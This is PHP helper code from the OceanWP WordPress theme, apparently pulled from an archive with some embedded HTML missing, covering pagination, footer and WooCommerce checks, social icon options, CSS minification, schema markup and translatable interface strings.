                  '; $output = apply_filters( 'oceanwp_infinite_scroll_output', $output ); echo wp_kses_post( $output ); } } /** * Blog Pagination * Used to load the correct pagination function for blog archives * Execute the correct pagination function based on the theme settings * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_blog_pagination' ) ) { function oceanwp_blog_pagination() { // Admin Options $blog_style = get_theme_mod( 'ocean_blog_style', 'large-entry' ); $pagination_style = get_theme_mod( 'ocean_blog_pagination_style', 'standard' ); // Category based settings if ( is_category() ) { // Get taxonomy meta $term = get_query_var( 'cat' ); $term_data = get_option( 'category_' . $term ); $term_style = $term_pagination = ''; if ( isset( $term_data['oceanwp_term_style'] ) ) { $term_style = '' != $term_data['oceanwp_term_style'] ? $term_data['oceanwp_term_style'] . '' : $term_style; } if ( isset( $term_data['oceanwp_term_pagination'] ) ) { $term_pagination = '' != $term_data['oceanwp_term_pagination'] ? $term_data['oceanwp_term_pagination'] . '' : ''; } if ( $term_pagination ) { $pagination_style = $term_pagination; } } // Set default $type for infnite scroll if ( 'grid-entry' == $blog_style ) { $infinite_type = 'standard-grid'; } else { $infinite_type = 'standard'; } // Execute the correct pagination function if ( 'infinite_scroll' == $pagination_style ) { oceanwp_infinite_scroll( $infinite_type ); } elseif ( $pagination_style == 'next_prev' ) { oceanwp_pagejump(); } else { oceanwp_pagination(); } } } /** * Returns the correct pagination style * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_pagination_style' ) ) { function oceanwp_blog_pagination_style() { // Get default style from Customizer $style = get_theme_mod( 'ocean_blog_pagination_style', 'standard' ); // Apply filters for child theming $style = apply_filters( 'ocean_blog_pagination_style', $style ); // Return style return $style; } } /** * Get excerpt * * @since 1.5.6 */ if ( ! function_exists( 'oceanwp_excerpt' ) ) { function oceanwp_excerpt( $length = 30 ) { global $post; $output = ''; // Check for custom excerpt if ( isset( $post->ID ) && has_excerpt( $post->ID ) ) { $output = $post->post_excerpt; } // No custom excerpt elseif ( isset( $post->post_content ) ) { // Check for more tag and return content if it exists if ( strpos( $post->post_content, '' ) ) { $output = apply_filters( 'the_content', get_the_content() ); } // No more tag defined else { $output = wp_trim_words( strip_shortcodes( $post->post_content ), $length ); } } $output = apply_filters( 'oceanwp_excerpt', $output ); return $output; } } /* -------------------------------------------------------------------------------*/ /* [ Footer ] /*-------------------------------------------------------------------------------*/ /** * Display footer widgets * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_display_footer_widgets' ) ) { function oceanwp_display_footer_widgets() { // Return true by default $return = true; // Return false if disabled via Customizer if ( true != get_theme_mod( 'ocean_footer_widgets', true ) ) { $return = false; } // Apply filters and return return apply_filters( 'ocean_display_footer_widgets', $return ); } } /** * Display footer bottom * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_display_footer_bottom' ) ) { function oceanwp_display_footer_bottom() { // Return true by default $return = true; // Return false if disabled via Customizer if ( true != get_theme_mod( 'ocean_footer_bottom', true ) ) { $return = false; } // Apply filters and return return apply_filters( 'ocean_display_footer_bottom', $return ); } } /** * Display scrool up button * * @since 1.5.0 */ if ( ! function_exists( 'oceanwp_display_scroll_up_button' ) ) { function oceanwp_display_scroll_up_button() { // Return true by default $return = true; // Return false if disabled via Customizer if ( true != get_theme_mod( 'ocean_scroll_top', true ) ) { $return = false; } // Apply filters and return return apply_filters( 'ocean_display_scroll_up_button', $return ); } } /** * Footer template * I make a function to be able to remove it for the Beaver Themer plugin * * @since 1.2.5 */ if ( ! function_exists( 'oceanwp_footer_template' ) ) { function oceanwp_footer_template() { if ( oceanwp_display_footer_widgets() || oceanwp_display_footer_bottom() ) { get_template_part( 'partials/footer/layout' ); } } add_action( 'ocean_footer', 'oceanwp_footer_template' ); } /** * Add classes to the footer wrap * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_footer_classes' ) ) { function oceanwp_footer_classes() { // Setup classes array $classes = array(); // Default class $classes[] = 'site-footer'; // Parallax footer if ( 'on' == get_theme_mod( 'ocean_parallax_footer', 'off' ) ) { $classes[] = 'parallax-footer'; } // Set keys equal to vals $classes = array_combine( $classes, $classes ); // Apply filters for child theming $classes = apply_filters( 'ocean_footer_classes', $classes ); // Turn classes into space seperated string $classes = implode( ' ', $classes ); // return classes return $classes; } } /* -------------------------------------------------------------------------------*/ /* [ WooCommerce ] /*-------------------------------------------------------------------------------*/ /** * Checks if on the WooCommerce shop page. * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_is_woo_shop' ) ) { function oceanwp_is_woo_shop() { if ( ! OCEANWP_WOOCOMMERCE_ACTIVE ) { return false; } elseif ( function_exists( 'is_shop' ) && is_shop() ) { return true; } } } /** * Checks if on a WooCommerce tax. * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_is_woo_tax' ) ) { function oceanwp_is_woo_tax() { if ( ! OCEANWP_WOOCOMMERCE_ACTIVE ) { return false; } elseif ( ! is_tax() ) { return false; } elseif ( function_exists( 'is_product_taxonomy' ) ) { if ( is_product_taxonomy() ) { return true; } } } } /** * Checks if on singular WooCommerce product post. * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_is_woo_single' ) ) { function oceanwp_is_woo_single() { if ( ! OCEANWP_WOOCOMMERCE_ACTIVE ) { return false; } elseif ( is_woocommerce() && is_singular( 'product' ) ) { return true; } } } /* -------------------------------------------------------------------------------*/ /* [ Other ] /*-------------------------------------------------------------------------------*/ /** * Theme Branding * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_theme_branding' ) ) { function oceanwp_theme_branding() { $return = esc_html__( 'OceanWP', 'oceanwp' ); // Return and apply filters for child theming return apply_filters( 'ocean_theme_branding', $return ); } } /** * Return padding/margin values for customizer * * @since 1.4.9 */ if ( ! function_exists( 'oceanwp_spacing_css' ) ) { function oceanwp_spacing_css( $top, $right, $bottom, $left ) { // Add px and 0 if no value $s_top = ( isset( $top ) && '' !== $top ) ? intval( $top ) . 'px ' : '0px '; $s_right = ( isset( $right ) && '' !== $right ) ? intval( $right ) . 'px ' : '0px '; $s_bottom = ( isset( $bottom ) && '' !== $bottom ) ? intval( $bottom ) . 'px ' : '0px '; $s_left = ( isset( $left ) && '' !== $left ) ? intval( $left ) . 'px' : '0px'; // Return one value if it is the same on every inputs if ( ( intval( $s_top ) === intval( $s_right ) ) && ( intval( $s_right ) === intval( $s_bottom ) ) && ( intval( $s_bottom ) === intval( $s_left ) ) ) { return $s_left; } // Return return $s_top . $s_right . $s_bottom . $s_left; } } /** * Translation support * * @since 1.3.7 */ if ( ! function_exists( 'oceanwp_hamburgers_styles' ) ) { function oceanwp_hamburgers_styles() { // Styles $style = array( 'default' => esc_html__( 'Default Icon', 'oceanwp' ), '3dx' => esc_html__( '3D X', 'oceanwp' ), '3dx-r' => esc_html__( '3D X Reverse', 'oceanwp' ), '3dy' => esc_html__( '3D Y', 'oceanwp' ), '3dy-r' => esc_html__( '3D Y Reverse', 'oceanwp' ), '3dxy' => esc_html__( '3D XY', 'oceanwp' ), '3dxy-r' => esc_html__( '3D XY Reverse', 'oceanwp' ), 'arrow' => esc_html__( 'Arrow', 'oceanwp' ), 'arrow-r' => esc_html__( 'Arrow Reverse', 'oceanwp' ), 'arrowalt' => esc_html__( 'Arrowalt', 'oceanwp' ), 'arrowalt-r' => esc_html__( 'Arrowalt Reverse', 'oceanwp' ), 'arrowturn' => esc_html__( 'Arrowturn', 'oceanwp' ), 'arrowturn-r' => esc_html__( 'Arrowturn Reverse', 'oceanwp' ), 'boring' => esc_html__( 'Boring', 'oceanwp' ), 'collapse' => esc_html__( 'Collapse', 'oceanwp' ), 'collapse-r' => esc_html__( 'Collapse Reverse', 'oceanwp' ), 'elastic' => esc_html__( 'Elastic', 'oceanwp' ), 'elastic-r' => esc_html__( 'Elastic Reverse', 'oceanwp' ), 'minus' => esc_html__( 'Minus', 'oceanwp' ), 'slider' => esc_html__( 'Slider', 'oceanwp' ), 'slider-r' => esc_html__( 'Slider Reverse', 'oceanwp' ), 'spin' => esc_html__( 'Spin', 'oceanwp' ), 'spin-r' => esc_html__( 'Spin Reverse', 'oceanwp' ), 'spring' => esc_html__( 'Spring', 'oceanwp' ), 'spring-r' => esc_html__( 'Spring Reverse', 'oceanwp' ), 'stand' => esc_html__( 'Stand', 'oceanwp' ), 'stand-r' => esc_html__( 'Stand Reverse', 'oceanwp' ), 'squeeze' => esc_html__( 'Squeeze', 'oceanwp' ), 'vortex' => esc_html__( 'Vortex', 'oceanwp' ), 'vortex-r' => esc_html__( 'Vortex Reverse', 'oceanwp' ), ); // Apply filters for child theming $style = apply_filters( 'ocean_hamburgers_styles', $style ); // Return return $style; } } /** * Translation support * * @since 1.1.4 */ if ( ! function_exists( 'oceanwp_tm_translation' ) ) { function oceanwp_tm_translation( $id, $val = '' ) { // Translate theme mod val if ( $val ) { // Polylang Translation if ( function_exists( 'pll__' ) && $id ) { $val = pll__( $val ); } // Return the value return $val; } } } /** * Register translation strings * * @since 1.1.4 */ if ( ! function_exists( 'oceanwp_register_tm_strings' ) ) { function oceanwp_register_tm_strings() { return apply_filters( 'ocean_register_tm_strings', array( 'ocean_top_bar_content' => '', 'ocean_after_header_content' => '', 'ocean_mobile_menu_text' => esc_html__( 'Menu', 'oceanwp' ), 'ocean_mobile_menu_close_text' => esc_html__( 'Close', 'oceanwp' ), 'ocean_mobile_menu_close_btn_text' => esc_html__( 'Close Menu', 'oceanwp' ), 'ocean_footer_copyright_text' => esc_html__( 'Copyright [oceanwp_date] - OceanWP Theme by OceanWP', 'oceanwp' ), 'ocean_woo_menu_icon_custom_link' => '', 'ocean_blog_infinite_scroll_last_text' => '', 'ocean_blog_infinite_scroll_error_text' => '', 'ocean_woo_off_canvas_filter_text' => esc_html__( 'Filter', 'oceanwp' ), 'ocean_woo_infinite_scroll_last_text' => '', 'ocean_woo_infinite_scroll_error_text' => '', ) ); } } /** * Returns array of Social Options * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_social_options' ) ) { function oceanwp_social_options() { return apply_filters( 'ocean_social_options', array( 'twitter' => array( 'label' => esc_html__( 'Twitter', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'twitter', false ), ), 'facebook' => array( 'label' => esc_html__( 'Facebook', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'facebook', false ), ), 'pinterest' => array( 'label' => esc_html__( 'Pinterest', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'pinterest', false ), ), 'dribbble' => array( 'label' => esc_html__( 'Dribbble', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'dribbble', false ), ), 'vk' => array( 'label' => esc_html__( 'VK', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'vk', false ), ), 'instagram' => array( 'label' => esc_html__( 'Instagram', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'instagram', false ), ), 'linkedin' => array( 'label' => esc_html__( 'LinkedIn', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'linkedin', false ), ), 'tumblr' => array( 'label' => esc_html__( 'Tumblr', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'tumblr', false ), ), 'github' => array( 'label' => esc_html__( 'Github', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'github', false ), ), 'flickr' => array( 'label' => esc_html__( 'Flickr', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'flickr', false ), ), 'skype' => array( 'label' => esc_html__( 'Skype', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'skype', false ), ), 'youtube' => array( 'label' => esc_html__( 'Youtube', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'youtube', false ), ), 'vimeo' => array( 'label' => esc_html__( 'Vimeo', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'vimeo', false ), ), 'vine' => array( 'label' => esc_html__( 'Vine', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'vine', false ), ), 'xing' => array( 'label' => esc_html__( 'Xing', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'xing', false ), ), 'yelp' => array( 'label' => esc_html__( 'Yelp', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'yelp', false ), ), 'tripadvisor' => array( 'label' => esc_html__( 'Tripadvisor', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'tripadvisor', false ), ), 'rss' => array( 'label' => esc_html__( 'RSS', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'rss', false ), ), 'email' => array( 'label' => esc_html__( 'Email', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'envelope', false ), ), 'tiktok' => array( 'label' => esc_html__( 'TikTok', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'tiktok', false ), ), 'medium' => array( 'label' => esc_html__( 'Medium', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'medium', false ), ), 'telegram' => array( 'label' => esc_html__( 'Telegram', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'telegram', false ), ), 'twitch' => array( 'label' => esc_html__( 'Twitch', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'twitch', false ), ), 'line' => array( 'label' => esc_html__( 'Line', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'line', false ), ), 'qq' => array( 'label' => esc_html__( 'QQ', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'qq', false ), ), 'discord' => array( 'label' => esc_html__( 'Discord', 'oceanwp' ), 'icon_class' => oceanwp_icon( 'discord', false ), ), ) ); } } /** * Grid Columns * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_grid_columns' ) ) { function oceanwp_grid_columns() { return apply_filters( 'ocean_grid_columns', array( '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', '6' => '6', '7' => '7', ) ); } } /** * Minify CSS * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_minify_css' ) ) { function oceanwp_minify_css( $css = '' ) { // Return if no CSS if ( ! $css ) { return; } // Normalize whitespace $css = preg_replace( '/\s+/', ' ', $css ); // Remove ; before } $css = preg_replace( '/;(?=\s*})/', '', $css ); // Remove space after , : ; { } */ > $css = preg_replace( '/(,|:|;|\{|}|\*\/|>) /', '$1', $css ); // Remove space before , ; { } $css = preg_replace( '/ (,|;|\{|})/', '$1', $css ); // Strips leading 0 on decimal values (converts 0.5px into .5px) $css = preg_replace( '/(:| )0\.([0-9]+)(%|em|ex|px|in|cm|mm|pt|pc)/i', '${1}.${2}${3}', $css ); // Strips units if value is 0 (converts 0px to 0) $css = preg_replace( '/(:| )(\.?)0(%|em|ex|px|in|cm|mm|pt|pc)/i', '${1}0', $css ); // Trim $css = trim( $css ); // Return minified CSS return $css; } } /** * Array of Font Awesome Icons for the scroll up button * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_scrolltotop_icons' ) ) { function oceanwp_get_scrolltotop_icons( $return = 'up_arrows', $default = 'none' ) { // Add none to top of array $icons_array = array( 'none' => '', ); // Define return icons $return_icons = array(); // Returns up arrows only if ( 'up_arrows' == $return ) { $return_icons = array( 'chevron_up', 'caret_up', 'angle_up', 'double_arrows_up', 'long_arrow_alt_up', 'arrow_alt_circle_up', 'arrow_up', 'level_up_alt', 'caret_square_up' ); $return_icons = array_combine( $return_icons, $return_icons ); } return apply_filters( 'oceanwp_get_scrolltotop_icons', array_merge( $icons_array, $return_icons ) ); } } /** * Array of Icons for the WooCommerce cart * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_cart_icons' ) ) { function oceanwp_get_cart_icons( $default = 'icon_handbag' ) { // Returns icons $return_icons = array( 'icon_basket', 'icon_handbag', 'shopping_basket', 'shopping_bag', 'shopping_cart' ); $return_icons = array_combine( $return_icons, $return_icons ); return apply_filters( 'ocean_get_cart_icons', array_merge( $return_icons ) ); } } /** * Returns sidr menu source * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_sidr_menu_source' ) ) { function oceanwp_sidr_menu_source() { // Return if is not sidebar mobile style if ( 'sidebar' != oceanwp_mobile_menu_style() ) { return; } // Define array of items $items = array(); // Add close button if ( get_theme_mod( 'ocean_mobile_menu_close_btn', true ) ) { $items['sidrclose'] = '#sidr-close'; } // If has mobile menu if ( has_nav_menu( 'mobile_menu' ) ) { $items['mobile-nav'] = '#mobile-nav'; } // Add main navigation else { // Navigation $items['nav'] = '#site-navigation'; // Add top bar menu if ( has_nav_menu( 'topbar_menu' ) ) { $items['top-nav'] = '#top-bar-nav'; } } if ( 'full_screen' != oceanwp_header_style() ) { // Add social menu if ( true == get_theme_mod( 'ocean_menu_social', false ) && get_theme_mod( 'ocean_menu_social_profiles' ) ) { $items['social'] = '#site-header .oceanwp-social-menu'; } } // Add search form if ( get_theme_mod( 'ocean_mobile_menu_search', true ) ) { $items['search'] = '#mobile-menu-search'; } // Apply filters for child theming $items = apply_filters( 'ocean_mobile_menu_source', $items ); // Turn items into comma seperated list $items = implode( ', ', $items ); // Return return $items; } } /** * Query Autoptimize activation - check required if using a page builder * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_is_autoptimize_activated' ) ) { function oceanwp_is_autoptimize_activated() { return class_exists( 'autoptimizeBase' ) ? true : false; } } /** * Returns header template content * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_header_template_content' ) ) { function oceanwp_header_template_content() { // Return false if custom header is not selected if ( 'custom' != oceanwp_header_style() ) { return false; } // Get the template ID $content = oceanwp_custom_header_template(); // Get template content if ( ! empty( $content ) ) { $template = get_post( $content ); if ( $template && ! is_wp_error( $template ) ) { $content = $template->post_content; } } // Apply filters and return content return apply_filters( 'ocean_header_template_content', $content ); } } /** * Returns social menu content * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_social_menu_content' ) ) { function oceanwp_social_menu_content() { // Get template ID from Customizer $content = get_theme_mod( 'ocean_menu_social_template' ); // Get Polylang Translation of template if ( function_exists( 'pll_get_post' ) ) { $content = pll_get_post( $content, pll_current_language() ); } // Get template content if ( ! empty( $content ) ) { $template = get_post( $content ); if ( $template && ! is_wp_error( $template ) ) { $content = $template->post_content; } } // Return content return apply_filters( 'oceanwp_social_menu_content', $content ); } } /** * Custom footer style template * * @since 1.5.22 */ if ( ! function_exists( 'oceanwp_custom_footer_template' ) ) { function oceanwp_custom_footer_template() { // Get template from customizer setting $template = get_theme_mod( 'ocean_footer_widgets_template' ); // Apply filters and return return apply_filters( 'ocean_custom_footer_template', $template ); } } /** * Returns footer template content * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_footer_template_content' ) ) { function oceanwp_footer_template_content() { // Return false if disabled via Customizer if ( true != get_theme_mod( 'ocean_footer_widgets', true ) ) { return null; } // Get template ID from Customizer $content = oceanwp_custom_footer_template(); // Get Polylang Translation of template if ( function_exists( 'pll_get_post' ) ) { $content = pll_get_post( $content, pll_current_language() ); } // Get template content if ( ! empty( $content ) ) { $template = get_post( $content ); if ( $template && ! is_wp_error( $template ) ) { $content = $template->post_content; } } // Apply filters and return content return apply_filters( 'ocean_footer_template_content', $content ); } } /** * Returns topbar template content * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_topbar_template_content' ) ) { function oceanwp_topbar_template_content() { // Get the template ID $content = get_theme_mod( 'ocean_top_bar_template' ); // Get Polylang Translation of template if ( function_exists( 'pll_get_post' ) ) { $content = pll_get_post( $content, pll_current_language() ); } // Get template content if ( ! empty( $content ) ) { $template = get_post( $content ); if ( $template && ! is_wp_error( $template ) ) { $content = $template->post_content; } } // Apply filters and return content return apply_filters( 'oceanwp_topbar_template_content', $content ); } } /** * Returns topbar social alt content * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_top_bar_social_alt_content' ) ) { function oceanwp_top_bar_social_alt_content() { // Get page ID from Customizer $content = get_theme_mod( 'ocean_top_bar_social_alt' ); // Get the template ID $template = get_theme_mod( 'ocean_top_bar_social_alt_template' ); if ( ! empty( $template ) ) { $content = $template; } // Get Polylang Translation of template if ( function_exists( 'pll_get_post' ) ) { $content = pll_get_post( $content, pll_current_language() ); } // Get page content if ( ! empty( $content ) ) { $template = get_post( $content ); if ( $template && ! is_wp_error( $template ) ) { $content = $template->post_content; } } // Return content return apply_filters( 'oceanwp_top_bar_social_alt_content', $content ); } } /** * Return correct schema markup * * @since 1.2.10 */ if ( ! function_exists( 'oceanwp_get_schema_markup' ) ) { function oceanwp_get_schema_markup( $location ) { // Return if disable if ( ! get_theme_mod( 'ocean_schema_markup', true ) ) { return null; } // Default $schema = $itemprop = $itemtype = ''; // HTML if ( 'html' == $location ) { if ( is_home() || is_front_page() ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/WebPage"'; } elseif ( is_category() || is_tag() ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/Blog"'; } elseif ( is_singular( 'post' ) ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/Article"'; } elseif ( is_page() ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/WebPage"'; } else { $schema = 'itemscope="itemscope" itemtype="https://schema.org/WebPage"'; } return apply_filters( 'oceanwp_schema_location_html', $schema ); } // Header elseif ( 'header' == $location ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/WPHeader"'; } // Logo elseif ( 'logo' == $location ) { $schema = 'itemscope itemtype="https://schema.org/Brand"'; } // Navigation elseif ( 'site_navigation' == $location ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/SiteNavigationElement"'; } // Main elseif ( 'main' == $location ) { $itemtype = 'https://schema.org/WebPageElement'; $itemprop = 'mainContentOfPage'; } // Sidebar elseif ( 'sidebar' == $location ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/WPSideBar"'; } // Footer widgets elseif ( 'footer' == $location ) { $schema = 'itemscope="itemscope" itemtype="https://schema.org/WPFooter"'; } // Headings elseif ( 'headline' == $location ) { $schema = 'itemprop="headline"'; } // Posts elseif ( 'entry_content' == $location ) { $schema = 'itemprop="text"'; } // Publish date elseif ( 'publish_date' == $location ) { $schema = 'itemprop="datePublished"'; } // Modified date elseif ( 'modified_date' == $location ) { $schema = 'itemprop="dateModified"'; } // Author name elseif ( 'author_name' == $location ) { $schema = 'itemprop="name"'; } // Author link elseif ( 'author_link' == $location ) { $schema = 'itemprop="author" itemscope="itemscope" itemtype="https://schema.org/Person"'; } // Item elseif ( 'item' == $location ) { $schema = 'itemprop="item"'; } // Url elseif ( 'url' == $location ) { $schema = 'itemprop="url"'; } // Position elseif ( 'position' == $location ) { $schema = 'itemprop="position"'; } // Image elseif ( 'image' == $location ) { $schema = 'itemprop="image"'; } return ' ' . apply_filters( 'ocean_schema_markup', $schema ); } } /** * Outputs correct schema markup * * @since 1.2.10 */ if ( ! function_exists( 'oceanwp_schema_markup' ) ) { function oceanwp_schema_markup( $location ) { echo oceanwp_get_schema_markup( $location ); } } /** * Returns error page template content * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_error_page_template_content' ) ) { function oceanwp_error_page_template_content() { // Get template ID from Customizer $content = get_theme_mod( 'ocean_error_page_template' ); // Get Polylang Translation of template if ( function_exists( 'pll_get_post' ) ) { $content = pll_get_post( $content, pll_current_language() ); } // Get template content if ( ! empty( $content ) ) { $template = get_post( $content ); if ( $template && ! is_wp_error( $template ) ) { $content = $template->post_content; } } // Apply filters and return content return apply_filters( 'ocean_error_page_template_content', $content ); } } /** * Default color picker palettes * * @since 1.4.9 */ if ( ! function_exists( 'oceanwp_default_color_palettes' ) ) { function oceanwp_default_color_palettes() { $palettes = array( '#000000', '#ffffff', '#dd3333', '#dd9933', '#eeee22', '#81d742', '#1e73be', '#8224e3', ); // Apply filters and return return apply_filters( 'ocean_default_color_palettes', $palettes ); } } /** * Create list of attributes into a string and apply filter baes on context * * @since 1.8.7 * @param string $context The context, to build filter name. * @param array $attributes To load defaults attributes. * @param array $args Custom data to pass to filter. * @return string String of HTML attributes and values. */ function owp_attr( $context, $attributes = array(), $args = array() ) { $attributes = owp_parse_attr( $context, $attributes, $args ); $output = ''; // loop through attributes and build attribute string. foreach ( $attributes as $key => $value ) { if ( ! $value ) { continue; } if ( true === $value ) { $output .= esc_html( $key ) . ' '; } else { $output .= sprintf( '%s="%s" ', esc_html( $key ), esc_attr( $value ) ); } } $output = apply_filters( "owp_attr_{$context}_output", $output, $attributes, $context, $args ); return trim( $output ); } /** * Create list of attributes into a string and apply filter baes on context * * @since 1.8.7 * @param string $context The context, to build filter name. * @param array $attributes To load defaults attributes. * @param array $args Custom data to pass to filter. * @return string String of HTML attributes and values. */ function owp_parse_attr( $context, $attributes = array(), $args = array() ) { $defaults = array( 'class' => sanitize_html_class( $context ), ); $attributes = wp_parse_args( $attributes, $defaults ); // Apply filter based on context. return apply_filters( "owp_attr_{$context}", $attributes, $context, $args ); } /** * Search Icon * * Adds a search icon into the mobile header. * * @since 3.0.0 */ function oceanwp_mobile_search_icon() { $class = ''; $search_style = oceanwp_mobile_menu_search_style(); $search_style = $search_style ? $search_style : 'disabled'; $header_style = oceanwp_header_style(); if ( 'disabled' === $search_style || 'vertical' === $header_style ) { return; } // Get correct search icon class. if ( 'drop_down' == $search_style ) { $class = 'dropdown'; } elseif ( 'overlay' == $search_style ) { $class = 'overlay'; } else { $class = ''; } ?>
                  #adminmenu #toplevel_page_oceanwp .wp-menu-image img { width: 25px; height: 25px; padding: 5px; }'; echo $owp_tp_logo_style; } add_action('admin_head', 'oceanwp_admin_menu_logo_styles'); /** * Display Notice when Ocean Extra is outdated. * * @return void */ function ocean_oe_is_outdated_admin_notice() { if ( file_exists( WP_PLUGIN_DIR . '/ocean-extra/ocean-extra.php' ) ) { if ( current_user_can( 'install_plugins' ) ) { $current_oe_version = oceanwp_theme_panel()->get_current_plugin_version( 'ocean-extra/ocean-extra.php' ); $required_oe_version = '2.0.0'; if ( ! empty( $current_oe_version ) && ! empty( $required_oe_version ) && version_compare( $current_oe_version, $required_oe_version , '<' ) ) : ?>



                  post_content ); } // check for Gutenberg page. $is_gutenberg = ( ! empty( $blocks ) && '' !== $blocks[0]['blockName'] ); if ( $is_gutenberg ) { return true; } else { return false; } } oceanwp-strings.php000064400000021425151551031110010375 0ustar00 apply_filters( 'ocean_header_skip_link', __( 'Skip to content', 'oceanwp' ) ), 'owp-string-search-text' => apply_filters( 'ocean_search_text', __( 'Search', 'oceanwp' ) ), 'owp-string-mobile-search-text' => apply_filters( 'ocean_mobile_search_text', __( 'Search', 'oceanwp' ) ), 'owp-string-mobile-fs-search-text' => apply_filters( 'ocean_mobile_fs_search_text', __( 'Type your search', 'oceanwp' ) ), 'owp-string-header-replace-search-text' => apply_filters( 'ocean_header_replace_search_text', __( 'Type then hit enter to search...', 'oceanwp' ) ), 'owp-string-search-overlay-search-text' => apply_filters( 'ocean_search_overlay_search_text', __( 'Type then hit enter to search', 'oceanwp' ) ), 'owp-string-vertical-header-search-text' => apply_filters( 'ocean_vertical_header_search_text', __( 'Search...', 'oceanwp' ) ), 'owp-string-medium-header-search-text' => apply_filters( 'ocean_medium_header_search_text', __( 'Search...', 'oceanwp' ) ), 'owp-string-comment-logout-text' => apply_filters( 'ocean_comment_logout_text', __( 'Log out of this account', 'oceanwp' ) ), 'owp-string-comment-placeholder' => apply_filters( 'ocean_comment_placeholder', __( 'Your comment here...', 'oceanwp' ) ), 'owp-string-comment-profile-edit' => apply_filters( 'ocean_comment_profile_edit', __( 'Click to edit your profile', 'oceanwp' ) ), 'owp-string-comment-post-button' => apply_filters( 'ocean_comment_post_button', __( 'Post Comment', 'oceanwp' ) ), 'owp-string-comment-name-req' => apply_filters( 'ocean_comment_name_req', __( 'Name (required)', 'oceanwp' ) ), 'owp-string-comment-email-req' => apply_filters( 'ocean_comment_email_req', __( 'Email (required)', 'oceanwp' ) ), 'owp-string-comment-name' => apply_filters( 'ocean_comment_name', __( 'Name', 'oceanwp' ) ), 'owp-string-comment-email' => apply_filters( 'ocean_comment_email', __( 'Email', 'oceanwp' ) ), 'owp-string-comment-website' => apply_filters( 'ocean_comment_website', __( 'Website', 'oceanwp' ) ), 'owp-string-search-continue-reading' => apply_filters( 'ocean_search_continue_reading', __( 'Continue Reading', 'oceanwp' ) ), 'owp-string-post-continue-reading' => apply_filters( 'ocean_post_continue_reading', __( 'Continue Reading', 'oceanwp' ) ), 'owp-string-single-related-posts' => apply_filters( 'ocean_single_related_posts', __( 'You Might Also Like', 'oceanwp' ) ), 'owp-string-single-next-post' => apply_filters( 'ocean_single_next_post', __( 'Next Post', 'oceanwp' ) ), 'owp-string-single-prev-post' => apply_filters( 'ocean_single_prev_post', __( 'Previous Post', 'oceanwp' ) ), 'owp-string-single-screen-reader-rm' => apply_filters( 'ocean_single_screen_reader_rm', __( 'Read more articles', 'oceanwp' ) ), 'owp-string-author-page' => apply_filters( 'ocean_author_page', __( 'Visit author page', 'oceanwp' ) ), // Woocommerce. 'owp-string-woo-quick-view-text' => apply_filters( 'ocean_woo_quick_view_text', __( 'Quick View', 'oceanwp' ) ), 'owp-string-woo-quick-view-close' => apply_filters( 'ocean_woo_quick_view_close', __( 'Close quick preview', 'oceanwp' ) ), 'owp-string-woo-floating-bar-select-btn' => apply_filters( 'ocean_woo_floating_bar_select_btn', __( 'Select Options', 'oceanwp' ) ), 'owp-string-woo-floating-bar-selected' => apply_filters( 'ocean_woo_floating_bar_selected', __( 'Selected:', 'oceanwp' ) ), 'owp-string-woo-floating-bar-out-stock' => apply_filters( 'ocean_woo_floating_bar_out_stock', __( 'Out of stock', 'oceanwp' ) ), 'owp-string-woo-nav-next-product' => apply_filters( 'ocean_woo_nav_next_text', __( 'Next Product', 'oceanwp' ) ), 'owp-string-woo-nav-prev-product' => apply_filters( 'ocean_woo_nav_prev_text', __( 'Previous Product', 'oceanwp' ) ), // Aria. 'owp-string-close-mobile-menu' => apply_filters( 'ocean_wai_close_mobile_menu', __( 'Close mobile menu', 'oceanwp' ) ), 'owp-string-mobile-search' => apply_filters( 